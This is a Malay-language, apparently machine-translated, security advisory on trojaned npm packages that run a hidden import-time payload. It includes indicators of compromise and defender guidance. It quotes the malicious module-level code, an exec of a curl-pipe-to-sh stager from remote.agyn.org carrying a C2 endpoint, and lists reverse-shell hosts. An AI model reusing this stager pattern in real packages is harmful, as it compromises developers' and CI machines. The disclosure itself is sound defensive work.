TL; DR
Satu operator npm diterbitkan lima pakej trojan merentasi dua pusingan dalam tiga hari. Pakej-pakej tersebut menyamar sebagai utiliti terminal-color, logger dan Postgres-client yang kecil. Kod berniat jahat dijalankan sebaik sahaja pakej diimport — tiada skrip pemasangan untuk ditangkap.
Pusingan pertama (neon-terminal, neon-postgres, ne-logger) tidak diterbitkan pada 2026-07-05 pada 14:14 UTC. Tujuh puluh empat minit kemudian akaun yang sama menerbitkan semula trojan yang sama di bawah nama baharu (agn-terminal, agn-logger) — dan menghalakannya ke arah titik akhir arahan dan kawalan yang sama ia telah digunakan sebelum ini: tracker.bvgroup.co.
Hos C2 itu adalah satu-satunya penunjuk yang terselamat daripada penamaan semula, dan perkara terpantas untuk dicari oleh pemain pertahanan. Keterukan: tinggiEkosistem: npmPakej pusingan kedua masih beroperasi pada masa penulisan ini.
Serangan itu: bagaimana ia berfungsi
Bungkusan-bungkusan itu adalah umpan yang berfungsi. Buka terminal agn dan anda akan menemui pembantu warna ANSI yang lengkap dan berfungsi — kod, menyokongWarna, warnakan, cat — dengan jenis dan README. Kod utiliti berfungsi. Dilekatkan pada bahagian atas modul entri, di atas kod berguna, terdapat beberapa baris yang dijalankan semasa import.
// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";
const child = exec(
"curl -fsSL https://remote.agyn.org/remote.sh | " +
"TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
{}, (error, stdout, stderr) => {},
);
Tiga perkara yang menjadikan ini berkesan.
- Ia diaktifkan semasa import, bukan semasa pemasangan. Pakej itu mengisytiharkan tidak prapasang or selepas pemasangan cangkuk — tempat yang biasa dilihat oleh pengimbas dan pengulas. exec panggilan ialah kod peringkat modul. Ia dijalankan buat kali pertama apa-apa sahaja berlaku memerlukan(“agn-terminal”) or import “agn-terminal”, pada mesin pembangun atau di dalam CI. Kedua-dua entri ESM (src/index.js) dan entri CommonJS (cjs/src/index.js) membawa muatan yang sama, jadi kedua-dua sistem modul dilindungi.
- Muatan sebenar hidup di luar pakej. Pakej ini hanya menghantar pementas satu baris: ambil remote.agyn.org/remote.sh` dan salurkannya ke sh`. Apa sahaja yang dilayan oleh operator daripada URL tersebut pada masa permintaan itulah yang dijalankan. Titik akhir C2 diserahkan kepada skrip yang dimuat turun melalui TRACKER_REMOTE_ENDPOINT pembolehubah persekitaran, jadi skrip peringkat kedua akan menjadi rumah kepada tracker.bvgroup.co.
- Pakej pembawa meluaskan jejari letupan. agn-logger ialah umpan kedua — sebuah “pembalak global kecil.” Ia tidak mempunyai muatannya sendiri. Modul kemasukannya melakukan satu perkara yang berkaitan:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');
Ia mengisytiharkan terminal agn sebagai kebergantungan dan mengimportnya. Memasang atau mengimport logger akan menarik masuk dan mencetuskan pakej terminal secara transitif. Projek yang tidak pernah menamakan Trojan secara langsung masih boleh melaksanakannya melalui logger.
Apa yang baharu di sini
Pusingan pertama tidak menggunakan pementas jarak jauh. Ia menghantar muatan secara sebaris dan meningkatkan versi demi versi — shell terbalik bash dalam satu keluaran, a net.Socket cangkerang terbalik di sebelah, a git tambah/commit/ push direktori kerja mangsa di direktori lain, dan akhirnya ejen arahan dan kawalan HTTP penuh dalam terminal neon 0.9.0 yang mendaftarkan hos, meninjau tugasan, menjalankannya dengan exec (), dan menstrim output yang dikodkan base64 kembali. Pusingan kedua merangkumkan semua itu menjadi satu keriting | sh, mengalihkan peringkat dua daripada pendaftaran sepenuhnya. Operator yang sama, pakej yang lebih senyap, muatan yang lebih fleksibel — dan, secara kritikalnya, C2 yang sama seperti sebelumnya.
Timeline
| Tarikh (UTC) | Acara |
|---|---|
| 2026-07-03 07:03 | Pusingan pertama diterbitkan: neon-terminal (0.1.0 bersih, kemudian 0.2.0–0.9.0 berniat jahat), neon-postgres 3.5.2, ne-logger 0.7.0 |
| 2026-07-03 07:05 | neon-terminal ditandai dalam pengimbasan masa nyata |
| 2026-07-04 | Disahkan berniat jahat; korelasi mendedahkan dua pakej adik-beradik; percubaan penghapusan pertama difailkan |
| 2026-07-05 14:14 | Pusingan pertama tidak diterbitkan — kesemua lapan neon-terminal versi serta adik-beradik dialih keluar |
| 2026-07-05 15:28 | agn-terminal 0.1.0 diterbitkan |
| 2026-07-05 15:29 | agn-logger 0.1.0 diterbitkan — pembawa untuk pakej terminal baharu |
| 05-07-2026 (berterusan) | Pakej pusingan kedua disiarkan pada masa penulisan |
Kedua-dua pusingan itu berjarak tiga hari, dan jarak antara penyingkiran dan pelancaran semula adalah 74 minit. Kempen ini dibuka: agn-* bungkusan belum dialihkan ketika ini ditulis.
Petunjuk kompromi
Cari nama pakej dalam fail kunci dan pokok kebergantungan. Cari proksi, DNS dan BDU log untuk titik akhir rangkaian. Hos C2 tracker.bvgroup.co merangkumi kedua-dua pusingan dan merupakan penunjuk tunggal bernilai tertinggi.
Kami
| Pakej | versi | Peranan | status |
|---|---|---|---|
neon-terminal | 0.2.0–0.9.0 | trojan (muatan sebaris → HTTP C2) | tidak diterbitkan |
neon-postgres | 3.5.2 | trojan (muatan dalam src/errors.js) | tidak diterbitkan |
ne-logger | 0.7.0 | pembawa (bergantung kepada neon-terminal) | tidak diterbitkan |
agn-terminal | 0.1.0 | trojan (curl | sh pementas) | tinggal |
agn-logger | 0.1.0 | pembawa (bergantung kepada agn-terminal) | tinggal |
terminal neon 0.1.0 ialah benih bersih — pustaka warna yang berfungsi tanpa muatan — diterbitkan untuk mewujudkan pakej sebelum versi berniat jahat menyusul.
rangkaian
| Petunjuk | Konteks |
|---|---|
tracker.bvgroup.co/remote/… | HTTP C2, kedua-dua pusingan (token pusingan kedua t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J) |
remote.agyn.org/remote.sh | pemuat pusingan dua peringkat satu |
reverse.bvgroup.co:443 | titik akhir cangkerang terbalik satu bulat (neon-terminal 0.6.0) |
6.tcp.eu.ngrok.io:28754 | cangkerang terbalik satu bulat (neon-terminal 0.3.0) |
2.tcp.eu.ngrok.io:25852 | cangkerang terbalik satu bulat (neon-terminal 0.4.0) |
bvgroup.co, agyn.org, agyn.io | domain yang dikawal oleh pengendali |
Kelakuan
- Peringkat modul proses_anak.exec di bahagian atas fail entri pakej utiliti, dalam kedua-duanya src/index.js (ESM) dan cjs/src/index.js (CJS).
- A curl -fsSL … | sh satu baris dengan C2 dilalui melalui a TRACKER_REMOTE_ENDPOINT pembolehubah persekitaran.
- Pakej "utiliti" kedua yang mengisytiharkan yang pertama sebagai kebergantungan dan mengimportnya, tanpa muatannya sendiri.
- Selebihnya // terminal neon komen di bahagian atas terminal agn — artifak salin-tampal yang menghubungkan penjenamaan semula dengan yang asal.
Hash fail (SHA-256, pusingan kedua)
- terminal agn src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- terminal agn cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
Atribusi dan tingkah laku yang diperhatikan
Setiap pakej menjejaki ke satu akaun npm, vitalii-agyn, penerbitan di bawah e-mel yang tidak disahkan vitalii@agyn.ioMetadata pendaftaran akaun itu sendiri menyenaraikan ketiga-tiga pakej pusingan satu seperti yang diselenggarakan olehnya. Infrastruktur tersebut menghubungkan pusingan tersebut bersama-sama: domain agyn.org sepadan dengan penerbit agyn.io domain e-mel dan hos C2 tracker.bvgroup.co muncul dalam kedua-duanya terminal neon 0.9.0 dan terminal agn 0.1.0 — laluan pengumpul yang sama, digunakan semula secara verbatim selepas penamaan semula.
Kami menerangkan apa yang ditunjukkan oleh artifak dan berhenti di situ. E-mel yang dinyatakan oleh penerbit ialah vitalii@agyn.io; kami belum mengesahkan pemilikan alamat tersebut dan kami tidak mengaitkan akaun tersebut dengan mana-mana orang atau kumpulan yang dinamakan. Penggunaan semula satu titik akhir C2 merentasi dua keluarga pakej adalah isyarat operator sama yang kuat, bukan identiti.
Pakej bulat satu bersandar pada kedekatan jenama. neon-postgres merupakan klon penuh Porsager yang digunakan secara meluas postgres.js pelanggan, slogan dan semua, dengan muatan yang terselip di dalamnya src/errors.js jadi laluan import rutin akan sampai ke sana — dan neon- awalan meminjam ciri-ciri Neon yang boleh dikenali, iaitu penyedia Postgres tanpa pelayan. Nama-nama pusingan kedua telah menggugurkan penyamaran dan menjadi generik (terminal agn, agn-logger), menukar tarikan jenama untuk rehat yang lebih bersih daripada nama-nama yang hangus.
Impak, trend dan panduan pembela
- Siapa yang terdedah. Sesiapa sahaja yang memasang dan mengimport salah satu pakej ini, secara langsung atau melalui pembawa, pada hos seperti Unix. Stager menggunakan curl dan sh; cangkerang satu bulat menggunakan menampar dan /dev/tcpOleh kerana pelaksanaan berlaku semasa import, pelayan binaan yang memasang kebergantungan dan menjalankan sebarang kod yang menyentuhnya sudah memadai — tiada langkah pasca pemasangan diperlukan. Pada stesen kerja pembangun atau pelari CI, peringkat kedua yang dimuat turun berjalan dengan keistimewaan pengguna dan jangkauan rangkaian penuh.
- Mengapa pelaksanaan masa import penting. Pertahanan rantaian bekalan telah tertumpu pada skrip pemasangan, dan atas sebab yang baik — pasca pemasangan ialah pijakan npm klasik. Kempen ini mengelak sepenuhnya daripada itu. Tiada cangkuk pemasangan untuk ditandai. kod berniat jahat ialah permulaan modul biasa, tidak dapat dibezakan sepintas lalu daripada pakej yang mengira jadual carian semasa dimuatkan. Perkakas yang hanya memeriksa skrip dalam package.json tidak melihat apa-apa.
- Trend penjenamaan semula dan penggunaan semula. Tempoh pemulihan selama 74 minit itulah ceritanya. Penyingkiran telah mengalih keluar nama tetapi bukan pengendali, infrastruktur atau kod. Dalam masa sejam, kempen tersebut kembali beroperasi di bawah nama baharu yang menunjuk ke C2 yang sama. Sekatan berasaskan nama — penafian senarai neon — sudah lapuk. Sekatan berasaskan infrastruktur — penafian senarai bvgroup.co — akan berjaya menangkap pusingan kedua sebaik sahaja tiba. Bagi pengendali langsung yang menerbitkan semula lebih cepat daripada pendaftar mengalih keluar, penunjuk yang tahan lama ialah titik akhir rangkaian, bukan nama pakej.
Apa yang perlu dilakukan sekarang
- Grep fail kunci dan pokok yang dipasang untuk kelima-lima nama pakej di atas. Anggap sebarang padanan sebagai hos yang dikompromi dan putar kelayakan yang boleh dicapai daripadanya.
- Sekat dan beri amaran pada domain bvgroup.co, agyn.org, dan titik akhir ngrok dalam penapisan DNS dan keluar. tracker.bvgroup.co adalah keutamaan.
- Jangan bergantung pada pengimbasan cangkuk pemasangan sahaja. Tambahkan pengesanan untuk peringkat modul proses_anak dan panggilan rangkaian dalam kebergantungan, dan untuk keriting … | sh corak dalam sumber pakej.
- Anggap pakej utiliti yang mengisytiharkan utiliti lain yang tidak jelas sebagai satu-satunya kebergantungannya dan mengimportnya semasa dimuatkan sebagai bernilai untuk diteliti semula.
- Dalam CI, lebih suka - Abaikan skrip jika praktikal, tetapi fahami ia tidak membantu di sini — muatan berjalan semasa import, jadi kawalan keluar masa jalan dan semakan kebergantungan lebih penting.
Rujukan
- Postgres tanpa pelayan Neon — jenama itu neon-* nama meminjam sifat yang boleh dikenali.
- Porsager postgres.js — pelanggan neon-postgres diklon.






